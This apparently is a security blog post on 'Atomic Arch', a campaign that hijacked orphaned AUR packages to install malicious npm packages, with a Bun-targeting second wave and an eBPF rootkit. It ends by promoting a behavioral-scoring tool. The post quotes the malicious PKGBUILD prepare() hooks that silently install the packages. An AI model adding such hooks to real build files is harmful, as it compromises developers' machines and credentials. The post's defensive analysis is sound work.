Atomic Arch Targets Bun. The Entry Point Was AUR.
1,500 Arch Linux packages hijacked to inject three malicious npm dependencies. Wave 2 adds Bun-specific install paths. The eBPF rootkit hides everything — except the npm registry record.
In mid-June, Sonatype flagged a campaign called Atomic Arch (Sonatype-2026-003775, CVSS 8.7). The headline numbers:
1,579 compromised AUR packages, three malicious npm dependencies
— atomic-lockfile, js-digest, lockfile-js — and an eBPF rootkit
persistent enough to survive reboots.
The ecosystem framing is easy to miss. This isn’t an Arch Linux story. Arch users are the vector. npm users are the target. And in Wave 2, Bun users specifically.
1. The entry point is outside npm
Every major npm supply chain attack before Atomic Arch started inside npm: a stolen token, a typosquatted package name, a compromised maintainer account. Atomic Arch is the first to use a completely separate ecosystem — AUR — as the injection point.
AUR (Arch User Repository) is community-maintained. Unlike the official Arch repos, there’s no formal
review process. When a maintainer abandons a package, it becomes “orphaned” — and any registered
user can adopt it, using the repository’s standard workflow. Atomic Arch adopted orphaned packages at scale.
The modified PKGBUILDs add a prepare() hook that runs before the package builds:
prepare() {
npm install atomic-lockfile --save-optional 2>/dev/null || true{'
'}{'}'} --save-optional keeps it off the direct dependency list. || true swallows errors silently.
A developer installing an orphaned AUR package for a seemingly unrelated system tool would never notice.
2. Wave 2 targets Bun specifically
The initial wave used npm as the injection mechanism. Wave 2 modified the PKGBUILDs to detect which JavaScript runtime is in PATH:
prepare() {
if command -v bun &>/dev/null; then{'
'} bun add atomic-lockfile --optional 2>/dev/null || true{'
'} else{'
'} npm install atomic-lockfile --save-optional 2>/dev/null || true{'
'} fi{'
'}{'}'} This is attacker threat modeling made explicit. Bun is fast enough that developers installing system tools from AUR are likely running it. AI coding tools — Claude Code, Cursor, Windsurf — run on Bun. The developer profile that installs from AUR is precisely the developer profile that has AI assistant credentials in their environment.
The same packages, a different install path, a more targeted victim.
3. The payload hides at kernel level
Once installed, atomic-lockfile drops an eBPF rootkit — same genus as
IronWorm, which appeared ten days earlier.
The rootkit hooks at execve and openat syscalls, making malicious processes invisible
to ps, top, and ls. It persists across reboots via systemd service injection.
The combination of AUR (no npm audit surface), --save-optional (not in lock files by default), and
an eBPF rootkit (invisible to process monitoring) means this sits undetected. No npm audit.
No bun audit. Nothing in ps aux.
What eBPF rootkits cannot hide: the npm registry record. The package exists. It has a history — or doesn’t.
What behavioral scoring shows
I ran all three Atomic Arch packages through Commit’s behavioral audit:
| Package | Score | Downloads/wk | Age | Provenance |
|---|---|---|---|---|
atomic-lockfile | 12 | 574 | unknown | — |
js-digest | null | 0 | unknown | — |
lockfile-js | null | 0 | unknown | — |
atomic-lockfile scores 12 — a package in the bottom percentile by every behavioral dimension:
longevity, publisher depth, release consistency. The other two score null: no history, no downloads,
no maintainer track record.
The AUR injection mechanism is clever. The npm registry record isn’t. These packages have the exact profile behavioral scoring was built to catch: no commitment, no history, no stake.
The escalation pattern
| Date | Attack | New capability |
|---|---|---|
| May 11 | Shai-Hulud | Self-propagating worm, 637 packages in 39 min |
| May 22 | TrapDoor | Cross-ecosystem + AI assistant poisoning |
| Jun 1 | Miasma | Forged SLSA provenance on Red Hat packages |
| Jun 4 | IronWorm | Rust + eBPF rootkit + AI credential theft |
| Jun 11–14 | Atomic Arch | AUR-to-npm vector + Bun-specific targeting |
Atomic Arch adds two capabilities the ecosystem hadn’t seen combined: entry from outside npm’s audit surface, and runtime-specific branching to target Bun users. The attack isn’t just escalating in volume — it’s mapping the ecosystem more precisely.
Bun users now have a named threat model entry.
What to do
Check if any Atomic Arch packages are installed:
npx proof-of-commitment atomic-lockfile js-digest lockfile-js Gate every install — including Bun installs. One command adds a behavioral check to Cursor, Claude Code, and Windsurf:
npx proof-of-commitment hook
The hook intercepts npm install, bun add, pip install,
cargo add, and go get. Packages with no behavioral history get blocked before
execution. This is the only check that runs before the payload does.
If you’re on Arch Linux and install from AUR: audit recently-adopted packages. AUR orphan adoption is public — the adoption timestamp is on the package page. A package recently adopted by an unknown maintainer after years of abandonment is worth reviewing before you build.
Audit your current Bun project:
npx proof-of-commitment --file bun.lockb The eBPF rootkit hides processes. It doesn’t hide the package from the registry. That’s the gap behavioral scoring covers — before the first install, not after.